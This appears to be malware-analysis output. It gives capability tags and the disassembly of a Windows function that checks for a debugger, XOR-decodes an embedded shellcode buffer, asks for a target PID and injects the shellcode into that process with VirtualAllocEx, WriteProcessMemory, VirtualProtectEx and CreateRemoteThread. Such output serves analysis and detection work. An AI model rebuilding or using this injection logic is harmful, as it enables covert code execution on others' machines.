Function at 0x1400012c0
Capabilities:
Allocate or change rwx memory
Create thread
Encode data using xor
Inject thread
Spawn thread to rwx shellcode

Disassembly:
push rsi
sub rsp, 0x70
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x60], rax
call qword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
test eax, eax
jne 0x140001534
call fcn.1400010e0
test eax, eax
jne 0x140001534
lea rax, [rsp + 0x48]
xor esi, esi
mov r9d, 0x20019
mov qword [rsp + 0x48], rsi
xor r8d, r8d
mov qword [rsp + 0x20], rax
lea rdx, str.SOFTWAREIsStarLinkEnabled
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x140001534
mov qword [rsp + 0x80], rbx
lea rcx, str.___Starting_..._n
mov qword [rsp + 0x88], rbp
mov qword [rsp + 0x90], rdi
call fcn.140001020
lea rbp, [0x140005080]
mov r9d, 1
mov r10d, 2
lea rdi, [0x14000347c]
sub r9, rbp
sub r10, rbp
mov r11d, 3
mov r8d, esi
sub r11, rbp
mov rbx, rbp
nop dword [rax]
lea rcx, [r8 + rbp]
mov rax, r8
and eax, 3
add r8, 5
movzx edx, byte [rax + rdi]
lea rax, [r9 + rbx]
xor byte [rcx], dl
lea rbx, [rbx + 5]
xor byte [rcx + 4], dl
and eax, 3
movzx eax, byte [rax + rdi]
xor byte [rcx + 1], al
lea rax, [rcx + r10]
and eax, 3
movzx eax, byte [rax + rdi]
xor byte [rcx + 2], al
lea rax, [rcx + r11]
and eax, 3
movzx eax, byte [rax + rdi]
xor byte [rcx + 3], al
cmp r8, 0x1cc
jb 0x140001380
lea rcx, str._n___Please_enter_the_target_process_PID:_n_
mov dword [rsp + 0x40], esi
mov qword [rsp + 0x58], rsi
call fcn.140001020
lea rdx, [rsp + 0x40]
lea rcx, [0x1400032e0]
call fcn.140001080
mov r8d, dword [rsp + 0x40]
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rbx, rax
test rax, rax
jne 0x140001420
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.____OpenProcess_failed_with_error__d__n
jmp 0x140001513
mov edx, dword [rsp + 0x40]
lea rcx, str._n___Injecting_shellcode_into_remote_process_with_PID__d..._n
call fcn.140001020
xor edx, edx
mov dword [rsp + 0x20], 4
mov r9d, 0x3000
mov r8d, 0x1cc
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov rdi, rax
test rax, rax
jne 0x140001469
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.____VirtualAlloc_failed_with_error:__d__n
jmp 0x140001513
lea rax, [rsp + 0x58]
mov r9d, 0x1cc
mov r8, rbp
mov qword [rsp + 0x20], rax
mov rdx, rdi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x14000149b
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.____WriteProcessMemory_failed_with_error:__d__n
jmp 0x140001513
lea rax, [rsp + 0x50]
mov r9d, 0x40
mov r8d, 0x1cc
mov qword [rsp + 0x20], rax
mov rdx, rdi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualProtectEx]
test eax, eax
jne 0x1400014d0
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.____VirtualProtect_failed_with_error__d__n
jmp 0x140001513
lea rcx, str.___Press__ANY_KEY__to_run_payload..._n
call fcn.140001020
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_getchar]
mov qword [rsp + 0x30], rsi
mov r9, rdi
mov dword [rsp + 0x28], esi
xor r8d, r8d
xor edx, edx
mov qword [rsp + 0x20], rsi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
test rax, rax
jne 0x14000151a
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.____CreateRemoteThread_failed_with_error__d__n
mov edx, eax
call fcn.140001020
mov rdi, qword [rsp + 0x90]
mov rbp, qword [rsp + 0x88]
mov rbx, qword [rsp + 0x80]
jmp 0x140001540
lea rcx, str.____Bye_:_
call fcn.140001020
xor eax, eax
mov rcx, qword [rsp + 0x60]
xor rcx, rsp
call fcn.140001570
add rsp, 0x70
pop rsi
ret